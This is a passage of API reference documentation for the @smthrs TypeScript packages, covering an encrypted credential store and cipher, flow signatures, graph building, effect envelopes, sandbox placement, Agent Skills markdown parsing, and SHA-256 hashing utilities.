| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `list`    | `() => Effect<ReadonlyArray<CredentialRef>, Unavailable \| Unauthorized>`                                                                                                       |
| `get`     | `(id: string) => Effect<CredentialRef, Unavailable \| Unauthorized>`                                                                                                            |
| `create`  | `({ id, name, secret: Redacted<string> }) => Effect<CredentialRef, Unavailable \| Unauthorized \| CredentialConflict>`                                                          |
| `resolve` | `(reference: CredentialRef) => Effect<Redacted<string>, Unavailable \| Unauthorized \| PersistenceError>`                                                                       |
| `rotate`  | `(reference: CredentialRef, secret: Redacted<string>, options?: { expected? }) => Effect<CredentialRef, Unavailable \| Unauthorized \| CredentialConflict \| PersistenceError>` |
| `revoke`  | `(reference: CredentialRef) => Effect<void, Unavailable \| Unauthorized>`                                                                                                       |

`authorize` defaults to allowing every operation, which is correct for a
single-principal local process. A reference is authenticated on every
operation, so a forged or stale one is refused.

## CredentialStore

| Export                  | Kind            | Signature                                                      |
| ----------------------- | --------------- | -------------------------------------------------------------- |
| `SealedRecord`          | interface       | `{ id; name; ciphertext; nonce; version; updatedAtMs }`        |
| `Service`               | interface       | `{ list(); read(id); write(record); remove(id) }`              |
| `CredentialStore`       | class           | Key `/control/CredentialStore`                                 |
| `make`                  | function        | `(implementation: Service) => Service`                         |
| `makeMemory`            | function        | `() => Service`. Process-local and browser-safe.               |
| `layerMemory`           | layer           | `Layer<CredentialStore>`                                       |
| `makeNoop`, `layerNoop` | function, layer | Every operation fails `Unavailable`. Accept partial overrides. |

`write` commits `record` only if the stored version is `record.version - 1`,
and fails `CredentialConflict` otherwise. Plaintext never reaches this
boundary.

## CredentialCipher

| Export                  | Kind            | Signature                                                                          |
| ----------------------- | --------------- | ---------------------------------------------------------------------------------- |
| `Sealed`                | interface       | `{ ciphertext: string; nonce: string }`, both base64.                              |
| `Context`               | interface       | `{ id: string; name: string; version: number }`, the authenticated data.           |
| `Service`               | interface       | `{ seal(plaintext, context); open(sealed, context) }`                              |
| `CredentialCipher`      | class           | Key `/control/CredentialCipher`                                                    |
| `make`                  | function        | `(implementation: Service) => Service`                                             |
| `unavailable`           | function        | `() => Unavailable`, the typed failure a host reports with no secure key material. |
| `makeNoop`, `layerNoop` | function, layer | Every operation fails `Unavailable`. Accept partial overrides.                     |

## SqlCredentialStore

| Export    | Kind   | Signature                                                                        |
| --------- | ------ | -------------------------------------------------------------------------------- |
| `migrate` | effect | `Effect<void, Unavailable, SqlClient>`. Creates `control_credentials` if absent. |
| `make`    | effect | `Effect<CredentialStore.Service, Unavailable, DurableWriter \| SqlClient>`       |
| `layer`   | layer  | `Layer<CredentialStore, Unavailable, DurableWriter \| SqlClient>`                |

The read and the compare-and-set write run in one transaction, so two
concurrent rotations serialize.

## WebCryptoCipher

| Export    | Kind      | Signature                                                                             |
| --------- | --------- | ------------------------------------------------------------------------------------- |
| `Options` | interface | `{ key: Redacted<string> }`, 32 raw bytes base64-encoded.                             |
| `make`    | effect    | `(options: Options) => Effect<CredentialCipher.Service, Unavailable \| InvalidInput>` |
| `layer`   | layer     | `(options: Options) => Layer<CredentialCipher, Unavailable \| InvalidInput>`          |

AES-256-GCM over the Web Crypto API, which serves both Node and the browser.
The key is imported as a non-extractable `CryptoKey` and never reaches
`CredentialStore`. A host without Web Crypto fails with `Unavailable` rather
than a defect, and a key that is not 32 base64-encoded bytes fails with
`InvalidInput`. `open` fails with `PersistenceError` on operation
`credential.open` when the stored nonce is malformed or the ciphertext fails
authentication under this key and context.

## Migrations

| Export  | Kind          | Signature                                                             |
| ------- | ------------- | --------------------------------------------------------------------- |
| `set`   | migration set | Namespace `control`, at the migration id block after time travel.     |
| `run`   | effect        | Creates every durable control-plane and credential table.             |
| `layer` | layer         | Runs the migrations before exposing the database to control services. |

Hosts compose this set with the journal and run-store sets before opening a
shared control database. See
[Store control state in a database](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/durable-storage.md).

## SystemFlows

The reserved command-line verb to flow-id map the CLI projects.

| Export            | Kind      | Signature                                                                                                                                                       |
| ----------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SystemFlowEntry` | interface | `{ verb: string; flowId: "system/" template literal; projection: "procedure" \| "systemFlow"; deployClass: boolean; planBearing: boolean; plannable: boolean }` |
| `catalog`         | constant  | Every reserved verb, including the ones a runtime may not plan.                                                                                                 |
| `plannable`       | constant  | The entries a control runtime may offer as flows.                                                                                                               |

`plannable: false` means the row is command-line metadata and nothing else: the
verb is named so the binary can refuse it by name. `system/replay` is the case
that matters. It is in `catalog` and not in `plannable`, so a runtime that
offers `plannable` as its flow catalog refuses it at `plan` rather than minting
an approval card no `run` can honor.

Both runtimes default their flow catalog to `plannable`, so a composition that
builds its own map and the runtimes' defaults cannot disagree about which
reserved ids exist.

## test/TestControl

Importable only from `@smthrs/control/test/TestControl`.

| Export  | Signature                                                                                    |
| ------- | -------------------------------------------------------------------------------------------- |
| `layer` | `(options?: ControlRuntime.MemoryOptions, executor?: ControlExecutor.Service) => Layer<...>` |

Provides `Control` together with every collaborator it built: the deterministic
runtime, the in-memory journal bundle, a notification queue over that journal,
the executor (`ControlExecutor.makeNoop()` by default), and an empty registry.
Runtime flow metadata falls back to the reserved system catalog. See
[Test against the control plane](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/testing.md).

---

# @smthrs/core
https://smithers.sh/docs/reference/api/core/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/core/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/core/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/core/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/plan`](/docs/reference/api/plan/)

`@smthrs/core` exports nine modules from its root entry point, and each is also
importable from `@smthrs/core/<Module>`:

```ts
import { Effects, Flow, Graph, Node } from "@smthrs/core"
// or
import * as Flow from "@smthrs/core/Flow"
```

`@smthrs/core/internal/*` and `@smthrs/core/*/index` are not public.
`@smthrs/core/package.json` is exported.

Constructing a signature records a declaration without executing planned steps.
JavaScript and TypeScript declarations and all planning callbacks must be
trusted: `Graph.build` executes them in the caller process with ambient process
authority. Purity is a caller obligation; placement, capability, and effect
metadata does not sandbox planning. Use a constrained data-only ingestion
boundary or an externally isolated planner for untrusted declarations.
For the trust boundary and the model behind these signatures, see [Plan time](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/core/docs/concepts/plan-time.md),
[Identity and key material](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/core/docs/concepts/identity.md), and
[Effect envelopes](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/core/docs/concepts/effects.md).

## Flow

Metadata signatures retained for Markdown lowering. Author executable flows with `Flow.make(tag, options)` from `@smthrs/flow`.

### Flow.Flow

```ts
interface Flow<
  I extends Schema.Top,
  O extends Schema.Top,
  Err extends Schema.Top = typeof Schema.Never,
  Requires = Action.Requirement<string>
> extends Pipeable {
  readonly name: string
  readonly description: string | undefined
  readonly input: I
  readonly output: O
  readonly error: Err
  readonly capabilities: ReadonlyArray<string>
  readonly effects: Effects.Declaration | undefined
  readonly model: Seat | readonly [Seat, ...Seat[]] | undefined
  readonly flows: ReadonlyArray<Reference> | undefined
  readonly prompt: string | undefined
  readonly budget: Markdown.Budget | undefined
  readonly sandbox: Markdown.SandboxSelection | undefined
  readonly annotations: Context.Context<never>
  readonly flow: DurableFlow.Flow<string, Payload<I>, O, Err, Requires>
  readonly action: Action.Declared<string, Payload<I>, O, Err, Requires> | undefined
  readonly call: (input: I["~type.make.in"]) => Node.Node<O["Type"], Err["Type"], Requires>
}
```

`flow` is the `@smthrs/flow` flow the signature IS: hand it to `Graph.build`,
to an `Interpreter`, or to a registry that checks that package's type id.
`action` is the declaration a host implements with `toLayer`, and it is
`undefined` exactly when the signature declared a `body`. `annotations` is the
bag both carry, with the declared `capabilities` and `effects` already lowered
into it.

`budget` and `sandbox` are the limits `Markdown.lowerMarkdown` copied from the
frontmatter. A declared `modelInvocable` and `deadline` live on the native flow,
the one model: read `Context.get(signature.annotations, Flow.ModelInvocable)`
and `signature.flow.deadline` with `@smthrs/flow`'s `Flow`. `within`,
`annotate` and `withFlows` keep all four.

A signature that declared no effect envelope dispatches as `irreversible`.
Its generated action remains keyless and uses invocation identity.

The requirement channel is `Action.Requirement<string>` for every body-less
signature, because a signature's tag is typed `string`. The compiler therefore
does not tell one missing implementation from another; the runtime context key
is per tag and still refuses.

### Flow.Payload

```ts
type Payload<I extends Schema.Top> =
  & (I extends DurableFlow.AnyStructSchema ? I : Schema.Struct<{ readonly input: I }>)
  & DurableFlow.AnyStructSchema
```

The struct payload a declared `input` becomes. `@smthrs/flow` requires a struct
payload, so a non-struct input travels as the one field `input`. `call` takes
the declared shape and wraps it, so an author never writes the wrapper.

### Flow value: call

```ts
readonly call: (input: I["~type.make.in"]) => Node.Node<O["Type"], Err["Type"], Requires>
```

The `call` property of a flow value records a call in the schema's constructor shape.
It is not a module export. A class schema accepts inert
field data; it need not put a class instance in the plan. It never runs the body:
`Graph.build` evaluates pure bodies at plan time.

### Flow.Any

```ts
interface Any {
  readonly name: string
  readonly description: string | undefined
  readonly input: Schema.Top
  readonly output: Schema.Top
  readonly capabilities: ReadonlyArray<string>
  readonly effects: Effects.Declaration | undefined
  readonly flows: ReadonlyArray<Reference> | undefined
  readonly annotations: Context.Context<never>
  readonly flow: DurableFlow.Any
  readonly call: (input: never) => Node.Node<unknown, unknown, unknown>
}
```

The existential a decorator holds. It names every property a consumer outside
this package reads off a signature.

### Flow.Reference and Flow.Seat

```ts
type Reference = Any | string
type Seat = string & {}
```

A collaborator is a signature or a registry name the harness resolves. A seat
is a model seat name, never a provider model id.

### Flow.isFlow

```ts
const isFlow: (value: unknown) => value is Any
```

The runtime type-id check, not a shape check.

### Flow.within

```ts
const within: {
  (placement: Placement.Placement): <I, O, Err, Requires>(self: Flow<I, O, Err, Requires>) => Flow<I, O, Err, Requires>
  <I, O, Err, Requires>(self: Flow<I, O, Err, Requires>, placement: Placement.Placement): Flow<I, O, Err, Requires>
}
```

The placement-shaped special case of `annotate`.

### Flow.annotate

```ts
const annotate: {
  <Key, S>(
    key: Context.Key<Key, S>,
    value: S
  ): <I, O, Err, Requires>(self: Flow<I, O, Err, Requires>) => Flow<I, O, Err, Requires>
  <I, O, Err, Requires, Key, S>(
    self: Flow<I, O, Err, Requires>,
    key: Context.Key<Key, S>,
    value: S
  ): Flow<I, O, Err, Requires>
}
```

A custom key is advisory, so a signature annotated with one plans the same
graph. `Annotations.Placement` and `Annotations.Effects` are not advisory:
`Graph.build` projects both into node key material. Annotated values override
existing values for matching keys, including declared effects and capabilities.
The exposed metadata and the action's tier follow those overrides.
Combinators retain the original diagnostic source locations of both native
declarations.

### Flow.withFlows

```ts
const withFlows: {
  (flows: ReadonlyArray<Reference>): <I, O, Err, Requires>(self: Flow<I, O, Err, Requires>) => Flow<I, O, Err, Requires>
  <I, O, Err, Requires>(self: Flow<I, O, Err, Requires>, flows: ReadonlyArray<Reference>): Flow<I, O, Err, Requires>
}
```

Replaces the collaborators a signature declares. Everything else comes across
unchanged, which is what lets a decorator rewrite a flow tree without dropping
the metadata a host reads back. The replacement array is copied.

### Flow.Input, Flow.Output, Flow.Error

```ts
type Input<F> = F extends { readonly input: infer I extends Schema.Top } ? I["Type"] : never
type Output<F> = F extends { readonly output: infer O extends Schema.Top } ? O["Type"] : never
type Error<F> = F extends { readonly error: infer Err extends Schema.Top } ? Err["Type"] : never
```

The decoded types a signature declares.

### Flow.TypeId

```ts
const TypeId: "~flows/core/Flow"
type TypeId = "~flows/core/Flow"
```

The runtime brand `isFlow` checks.

## Node

`@smthrs/plan`'s node model, re-exported. `@smthrs/core/Node` is the name this
package's consumers reach it through and adds nothing: one AST, one set of
combinators, and one function-identity rule wherever a plan is built.

```ts
import { Node } from "@smthrs/core"

const plan = Node.map(Node.succeed(1), (value) => value + 1)
```

`succeed`, `fail`, `all`, `map`, `andThen`, `bindPlanned`, `branch`, `catch`, `capture`,
`priority`, and the call constructors are documented in the
[`@smthrs/plan` reference](/docs/reference/api/plan/#node). A continuation that decides on a
real value is `Node.branch`: a continuation runs once at build time, on a
strict placeholder.

## Graph

`@smthrs/flow`'s plan-time graph builder, re-exported. `Graph.build` takes a
flow or a node, splices every call it can reach, and answers the topology,
the drafts a plan is compiled from, and the refusals it recorded rather than
threw.

```ts
import { Graph, Node } from "@smthrs/core"
import { Flow } from "@smthrs/flow"
import { Schema } from "effect"

const greeting = Flow.make("greeting", {
  payload: Schema.Struct({ name: Schema.String }),
  success: Schema.String,
  body: ({ name }) => Node.succeed(`Hello, ${name}`)
})

const graph = Graph.build(greeting, { name: "world" })
```

`build`, `nodes`, `edges`, `drafts`, `diagnostics`, `maximumGraphDepth`, and
the `Graph`, `GraphNode`, `Edge`, `EdgeReason`, `LayerRequest`, and
`BuildOptions` types are documented in the
[`@smthrs/flow` reference](/docs/reference/api/flow/#graph), including every build refusal and
which of them are fatal.

`Graph.evaluatedFrom(evaluated, entry)` is re-exported with them. It states
that a file this runtime is about to evaluate holds bytes read from another,
so every declaration made while that file is evaluated reports the entry an
author can open rather than the scratch path the bytes were written to. A host
that verifies a flow's source has to evaluate the bytes it measured, and the
only way to evaluate bytes is to write them somewhere and import that path;
call this before the import, because a declaration captures its site while its
module is evaluated and never rewrites it afterwards.

`Graph.inspect(flow)` returns an `Inspection`: the flow's nodes, edges,
steps, diagnostics, and its prompt renderer's source, all serializable. It
builds against an unresolved input reference and runs no action or prompt
renderer, so a body that branches on its payload in plain JavaScript reports a
diagnostic instead of a sample graph. Plan-time body code still runs, so call
it only where loading the declaration is already trusted.

## Effects

Pure effect declarations describing read and write envelopes.

The model lives in [`@smthrs/plan`](/docs/reference/api/plan/#effects), the lowest package this
one and the library that executes a flow both depend on. `@smthrs/core/Effects`
re-exports it and adds nothing, so a declaration narrowed here and a declaration
narrowed by `@smthrs/flow` are narrowed by the same rule. The plan reference
documents `Declaration`, `MakeOptions`, `make`, `covers`, `narrow`,
`NarrowResult`, `overlaps`, `sealed`, and the prepared matching API `Graph.build`
uses.

```ts
import { Effects } from "@smthrs/core"

const envelope = Effects.make({
  reads: ["src/**"],
  writes: ["dist/**"],
  mode: "hermetic",
  onConflict: "serialize",
  tier: "sealed"
})
```

## Placement

Serializable placement annotations for flow graph values.

### Placement.Placement

```ts
type Placement = Data.TaggedEnum<{
  readonly "flows/core/Placement/Local": Readonly<Record<never, never>>
  readonly "flows/core/Placement/Client": Readonly<Record<never, never>>
  readonly "flows/core/Placement/Sandbox": Options
  readonly "flows/core/Placement/Remote": Options
}>
```

A serializable directive describing where a flow node should run.

### Placement.Options

```ts
interface Options {
  readonly image?: string | undefined
  readonly profile?: string | undefined
  readonly target?: string | undefined
}
```

Host-selection details. These fields identify a host profile; they never
contain a host implementation, credentials, or any other runtime handle.

### Placement constructors

```ts
const local: () => Placement
const client: () => Placement
const sandbox: (options?: Options) => Placement
const remote: (options?: Options) => Placement
```

`local` is the local process host, `client` is the viewer's browser host,
`sandbox` is an isolated sandbox host, and `remote` is a remote control-plane
host.

## Annotations

Typed immutable annotations attached to flow graph values. The bag is an Effect
`Context`, so a decorator may define its own key.

### Annotations.empty, add, merge, getOption

```ts
const empty: Context.Context<never>
const add: typeof Context.add
const merge: (parent: Context.Context<never>, child: Context.Context<never>) => Context.Context<never>
const getOption: <I, S>(context: Context.Context<never>, key: Context.Key<I, S>) => Option.Option<S>
```

`add` sets or replaces one annotation without changing the original. `merge`
combines a parent and a child bag, with the child's values winning.
`getOption` returns `Option.none()` for an absent service key. A
`Context.Reference` supplies its default when absent.

### The three keys

```ts
const Placement: Context.Key<Placement.Placement, Placement.Placement>
const Effects: Context.Key<Effects.Declaration, Effects.Declaration>
const Priority: Context.Service<number>
```

`Graph.build` projects `Placement` and `Effects` onto nodes. These keys are
not declared here: they are [`@smthrs/plan`](/docs/reference/api/plan/)'s
`Placement.Annotation` and `Effects.Envelope`, the same objects
[`@smthrs/flow`](/docs/reference/api/flow/) publishes as `Flow.Placement` and
`Flow.EffectEnvelope`, so a flow annotated for one graph builder is visible to
the other. `Priority` is a signed integer read by registry and host lowering;
use `Node.priority` to set priority directly in a graph. Priority is never part
of step identity, so raising it never invalidates a cached step.

A fourth key, `Lane`, and its `LaneOptions` are gone. They were a second
spelling of `Effects.Declaration.onConflict: "lane"` with no caller outside
this package's own tests; the lane a node carries is now only the one the
write-conflict pass assigns it, typed as `Graph.Lane`.

## KeyMaterial

The digest-free input to [`@smthrs/plan`](/docs/reference/api/plan/). Types only; this module
exports no runtime values.

### KeyMaterial.KeyMaterial

```ts
interface KeyMaterial {
  readonly version: "flows/key-material/v2"
  readonly kind: "sealed" | "compensable" | "irreversible"
  readonly body: unknown
  readonly inputs: ReadonlyArray<InputRef>
  readonly layers: ReadonlyArray<string>
  readonly capabilities: ReadonlyArray<string>
  readonly effects: Effects.Declaration | undefined
  readonly placement: Placement.Placement | undefined
}
```

`kind` is the effective declaration's tier. `body` is the node's own
declaration projected into inert data: a call records the callee's schema
identity, capabilities, and effects.

### KeyMaterial.InputRef

```ts
type InputRef =
  | { readonly _tag: "Literal"; readonly value: unknown }
  | { readonly _tag: "Ref"; readonly from: string; readonly path: ReadonlyArray<string> }
  | { readonly _tag: "Pending"; readonly from: string }
```

A declared input used to identify a planned node. A `Ref` records a placeholder
member read: the node it came from and the path read from it. Graph-local ids
occur only inside these references, and the key compiler replaces them with
dependency digests before hashing.

### KeyMaterial.Entry

```ts
interface Entry {
  readonly nodeId: string
  readonly material: KeyMaterial
}
```

`nodeId` is traversal data and is never part of the material handed to the key
compiler.

## Markdown

Parses Agent Skills documents and lowers markdown prompts into ordinary signatures.
General markdown discovery, and the one specification rule that needs the file
system, belong to [`@smthrs/registry`](/docs/reference/api/registry/).

### Markdown.parseSkill

```ts
const parseSkill: (text: string) => Result.Result<SkillDocument, MarkdownError>
```

Parses an Agent Skills document with failsafe-schema YAML semantics and
validates its frontmatter with
[`validateSkillFrontmatter`](#markdownvalidateskillfrontmatter). A mapping at
any depth that uses the reserved key `__proto__`, `constructor`, or `prototype`
fails with `skill_invalid_frontmatter`, so a copy of `extra` cannot re-point a
prototype. An alias that refers back to its own anchor, such as
`b: &a { c: *a }`, fails with the same code instead of producing a circular
value.

### Markdown.SkillDocument and Markdown.SkillFrontmatter

```ts
interface SkillFrontmatter {
  readonly name: string
  readonly description: string
  readonly allowedTools: ReadonlyArray<string>
  readonly extra: Record<string, unknown>
}

interface SkillDocument extends SkillFrontmatter {
  readonly body: string
}
```

`allowedTools` is the specification's space-separated `allowed-tools` scalar
split into tool names. `extra` holds every other field, including the validated
optional `license`, `compatibility`, and `metadata`, as a frozen
null-prototype record.

### Markdown.validateSkillFrontmatter

```ts
const validateSkillFrontmatter: (
  fields: Record<string, unknown>
) => Result.Result<SkillFrontmatter, MarkdownError>
```

Checks already-parsed frontmatter against the specification's intrinsic rules:
`name` is 1 to 64 lowercase ASCII letters, digits, or single hyphens and cannot
start or end with a hyphen; `description` is 1 to 1024 characters counted in
code points; `allowed-tools` and `license` are scalars; `compatibility` is 1 to
500 characters; `metadata` maps string keys to scalar values. A field that is
absent reports a `missing` code, and a field that is present but malformed
reports its own `invalid` code without echoing the offending value.

### Markdown.isSkillName

```ts
const isSkillName: (name: string) => boolean
```

Whether `name` is a valid Agent Skills name: 1 to 64 lowercase ASCII letters,
digits, or single hyphens, not starting or ending with a hyphen.
`validateSkillFrontmatter` applies this rule, and `@smthrs/registry` reads the
same predicate when it warns about a discovered skill's name.

### Markdown.lowerSkill

```ts
const lowerSkill: (text: string) => Result.Result<Flow.Flow<typeof input, typeof output>, MarkdownError>
```

Parses and lowers an Agent Skills document to an ordinary signature whose input is
`{ args: string }` and whose output is `string`. Only `name`, `description`,
and `allowed-tools` are lowered; every other field stays in `parseSkill`'s
`extra` record.

### Markdown.lowerMarkdown

```ts
const lowerMarkdown: (
  frontmatter: MarkdownFrontmatter,
  body: string
) => Flow.Flow<typeof input, typeof output>
```

Lowers already-typed markdown metadata and a body to an ordinary signature. The
prompt is the markdown body; harnesses append non-empty runtime `args` when
rendering it. The lowered signature declares no body, so it carries the action a
host supplies the implementation for, and the collaborators it names stay
declarations. The `smart` seat is the explicit fallback when the frontmatter
declares no `model`.

The declared limits are part of the lowered flow. `modelInvocable` and
`deadline` go to `@smthrs/flow`'s `Flow.make`, so the native flow carries
`Flow.ModelInvocable` and enforces the deadline; `budget` and `sandbox` are
copied onto the signature. A `sandbox` selection places the flow in a sandbox.

```ts
const flow = Markdown.lowerMarkdown({
  name: "review",
  modelInvocable: false,
  budget: { tokens: 120000, usd: 2.5, onExceeded: "park" },
  deadline: "30 minutes",
  sandbox: { provider: "container", network: "none" }
}, "Review the pull request.")
```

An invalid limit throws a `RangeError` that names the flow and the field, the
way `Flow.make` refuses invalid static configuration: a budget value outside
its schema, a budget with no ceiling, a sandbox selection outside its schema,
a sandbox selection beside a placement other than `sandbox`, or a deadline that
is not a positive finite duration.

### Markdown.MarkdownFrontmatter

```ts
interface MarkdownFrontmatter {
  readonly name: string
  readonly description?: string | undefined
  readonly model?: string | readonly [string, ...string[]] | undefined
  readonly flows?: ReadonlyArray<string> | undefined
  readonly capabilities?: ReadonlyArray<string> | undefined
  readonly effects?: {
    readonly reads?: ReadonlyArray<string> | undefined
    readonly writes?: ReadonlyArray<string> | undefined
    readonly mode?: "hermetic" | "expected" | undefined
    readonly onConflict?: "serialize" | "lane" | "fail" | undefined
    readonly tier?: "sealed" | "compensable" | "irreversible" | undefined
  } | undefined
  readonly placement?: "sandbox" | "remote" | "client" | "local" | undefined
  readonly modelInvocable?: boolean | undefined
  readonly budget?: Budget | undefined
  readonly deadline?: Duration.Input | undefined
  readonly sandbox?: SandboxSelection | undefined
}
```

`name` is required: it is the tag the lowered signature carries, and a registry
derives it from the frontmatter or from the document's path before lowering. An
omitted `effects.reads` or `effects.writes` becomes empty, an omitted `mode`
becomes `hermetic`, and an omitted `onConflict` becomes `serialize`.

### Markdown.Budget and Markdown.SandboxSelection

```ts
const BudgetCeiling: Schema.Int // positive safe integer
const UsdCeiling: Schema.Finite // positive
const BudgetOnExceeded: Schema.Literals<["fail", "warn", "skip-remaining", "park"]>
const Budget: Schema.Struct<{
  tokens: Schema.optional<typeof BudgetCeiling>
  milliseconds: Schema.optional<typeof BudgetCeiling>
  usd: Schema.optional<typeof UsdCeiling>
  onExceeded: Schema.optional<typeof BudgetOnExceeded>
}>
const SandboxProvider: Schema.Literals<[
  "aws",
  "cloudflare",
  "command",
  "container",
  "daytona",
  "directory",
  "just-bash",
  "kubernetes",
  "microsandbox",
  "vercel"
]>
const SandboxSelection: Schema.Struct<{
  provider: typeof SandboxProvider
  network: Schema.optionalKey<"none" | "open" | { allow: ReadonlyArray<string> }>
  cpus: Schema.optionalKey<Schema.Finite> // positive, may be fractional
  memoryMib: Schema.optionalKey<typeof BudgetCeiling>
  timeoutSecs: Schema.optionalKey<typeof BudgetCeiling>
}>
```

The schemas of a flow's declared limits. An absent ceiling is not a zero: it is
the absence of that ceiling. `@smthrs/registry`'s `Descriptor` re-exports these
values, and its `FlowBudget` extends `Budget` with the run deadline, so a
descriptor and the flow lowered from it read one definition.

### Markdown.MarkdownError

```ts
class MarkdownError extends Schema.TaggedError<MarkdownError>()("flows/core/MarkdownError", {
  code: MarkdownErrorCode,
  message: Schema.String
}) {}
```

`MarkdownErrorCode` is the literal schema of ten codes:
`skill_missing_frontmatter`, `skill_invalid_frontmatter`, `skill_missing_name`,
`skill_invalid_name`, `skill_missing_description`,
`skill_invalid_description`, `skill_invalid_allowed_tools`,
`skill_invalid_compatibility`, `skill_invalid_metadata`, and
`skill_invalid_license`.

## Digest

Synchronous identity construction, for the pure constructors that compute a
content fingerprint without suspending. The digest is the same digest an
Effect-shaped derivation produces: the same canonical bytes, the same hash, and
the same hexadecimal encoding.

### Digest.digest

```ts
const digest: (input: string | Uint8Array) => string
```

The full lowercase SHA-256 digest of UTF-8 string or byte input.

### Digest.canonical

```ts
const canonical: (value: unknown) => string
```

The RFC 8785 canonical JSON serialization of a value. A function, symbol,
`bigint`, cyclic object, non-finite number, or top-level `undefined` has no
canonical JSON representation; for those values this throws `CanonicalError`
from `@smthrs/canonical`, with its stable `code` and `path`. No Effect is run;
the bytes match the `Canonical` schema's decode.

### Digest.provideSync

```ts
const provideSync: <A, E>(effect: Effect.Effect<A, E, Crypto.Crypto>) => Effect.Effect<A, E>
```

Provides the synchronous SHA-256 service to an Effect. The caller runs the
returned Effect at its program boundary.

---

# @smthrs/crypto
https://smithers.sh/docs/reference/api/crypto/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/crypto/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/crypto/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/crypto/docs)

Every hashing, schema, error, and service name below is exported from the root
entry point and from `@smthrs/crypto/Sha256`. Two other public modules are
namespaces of the root: `WebCrypto`, Effect's `Crypto` over the global
WebCrypto, and `Identity`, function identity.

```ts
import {
  Digest,
  digest,
  digestSync,
  Identity,
  Sha256,
  Sha256Error,
  Sha256ErrorCode,
  syncCrypto,
  WebCrypto
} from "@smthrs/crypto"
```

## Example

```ts
import { digest, digestSync } from "@smthrs/crypto"

const address = await Effect.runPromise(
  digest("hello").pipe(Effect.provide(NodeCrypto.layer))
)
const sameAddress = digestSync("hello")
```

## Hashing

### digest

```ts
const digest: (input: string | Uint8Array) => Effect.Effect<Digest, Sha256Error, Crypto.Crypto>
```

Hashes text or bytes through the injected Effect `Crypto` service. This is the
normal operational API.

- `input`: a well-formed JavaScript string, or a `Uint8Array`. The string is
  encoded as UTF-8; the array is copied and hashed exactly as viewed.
- Returns the digest as 64 lowercase hexadecimal characters, branded as `Digest`.
- Requires `Crypto.Crypto`. A missing service stays an unsatisfied Effect
  requirement and surfaces as `Service not found: effect/Crypto`, which is a
  composition defect rather than a `Sha256Error`.
- Fails with [`Sha256Error`](#sha256error) under any of the five codes.

The input snapshot is taken when the Effect **begins**, not when it is
constructed, and before the host is called. Host output is copied and must be
exactly 32 bytes.

### digestSync

```ts
const digestSync: (input: string | Uint8Array) => Digest
```

Hashes text or bytes with the package-owned FIPS 180-4 implementation. This is
the explicit synchronous entry point, for pure plan and identity construction.

- Same input policy and same output representation as [`digest`](#digest).
- Requires no service.
- **Throws** [`Sha256Error`](#sha256error), and only under `invalid_input`,
  `invalid_text`, or `text_encoding_failed`. It never raises `digest_failed`
  or `invalid_digest`, because it consults no host.
- Runs on the calling thread. See
  [when not to use the synchronous path](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/crypto/docs/guides/hash-in-synchronous-code.md#know-when-not-to-use-the-synchronous-path).

## Schemas

### Digest

```ts
const Digest: Schema.Codec<Digest, string>
type Digest = typeof Digest.Type
```

Validates an existing digest. It matches `^[0-9a-f]{64}$` and is branded
`"@smthrs/crypto/Sha256/Digest"`, so a plain `string` does not satisfy a
`Digest` parameter.

Decoding validates and returns the input unchanged. It hashes nothing and
requires no `Crypto` service, so `Schema.decodeUnknownSync(Digest)` is
available. Rejected values include uppercase hexadecimal, 63 or 65 characters,
non-hexadecimal characters, leading or trailing whitespace, and any non-string.

The expected-value message is
`a 64-character lowercase hexadecimal SHA-256 digest`.

### Sha256

```ts
const Sha256: Schema.Codec<Digest, string | Uint8Array, Crypto.Crypto> & {
  readonly Digest: typeof Digest
  readonly digest: typeof digest
  readonly digestSync: typeof digestSync
}
```

The one-way schema transformation from text or bytes to a `Digest`: the
schema-composition face of [`digest`](#digest).

- Decoding runs `digest`, so `Crypto.Crypto` is the codec's decoding
  requirement, the third type argument above. Decode with
  `Schema.decodeUnknownEffect` and provide the service. There is no
  synchronous decode.
- Encoding always fails with
  `A digest cannot be converted back into its source bytes`.
- Operational failures become `SchemaError` issues whose message is
  `[code] message` and whose annotations carry the stable `code` and the typed
  `Sha256Error` as `cause`.
- The schema annotates `parseOptions: { reportInput: false }`, overriding
  input reporting for its own node only. Enclosing Struct, Array, and Union
  issues use their own options and can retain the original input, including
  when a sibling field fails. Pass `reportInput: false` at the outermost
  decode boundary and do not re-enable it on descendant schemas.
- Identifier: `@smthrs/crypto/Sha256`.

For composed schemas, disable input reporting on the complete decode:

```ts
import { Sha256 } from "@smthrs/crypto"
import * as Schema from "effect/Schema"

const Manifest = Schema.Struct({ name: Schema.String, contents: Sha256 })
const decodeManifest = (input: unknown) => Schema.decodeUnknownEffect(Manifest)(input, { reportInput: false })
// Provide a Crypto service when running the returned Effect.
```

This suppresses parser input capture throughout this schema. It does not
sanitize preserved host or encoder causes, schema paths, custom messages, or
annotations. Keep those free of secrets or sanitize them before serializing
or inspecting a complete error.

`Sha256.Digest`, `Sha256.digest`, and `Sha256.digestSync` are the same values
as the named exports, attached for consumers that reached them through the
namespace.

## Errors

### Sha256Error

```ts
class Sha256Error extends Schema.TaggedError<Sha256Error>()("@smthrs/crypto/Sha256Error", {
  code: Sha256ErrorCode,
  message: Schema.String,
  cause: Schema.optional(Schema.Unknown)
}) {}
```

The typed SHA-256 boundary failure.

- `_tag`: `"@smthrs/crypto/Sha256Error"`.
- `code`: stable, and the value to branch on. See
  [`Sha256ErrorCode`](#sha256errorcode).
- `message`: prose, safe to report, and never contains the hashed input.
- `cause`: present when there was an original failure to preserve, such as a
  `TextEncoder` throw or the injected host's own error.

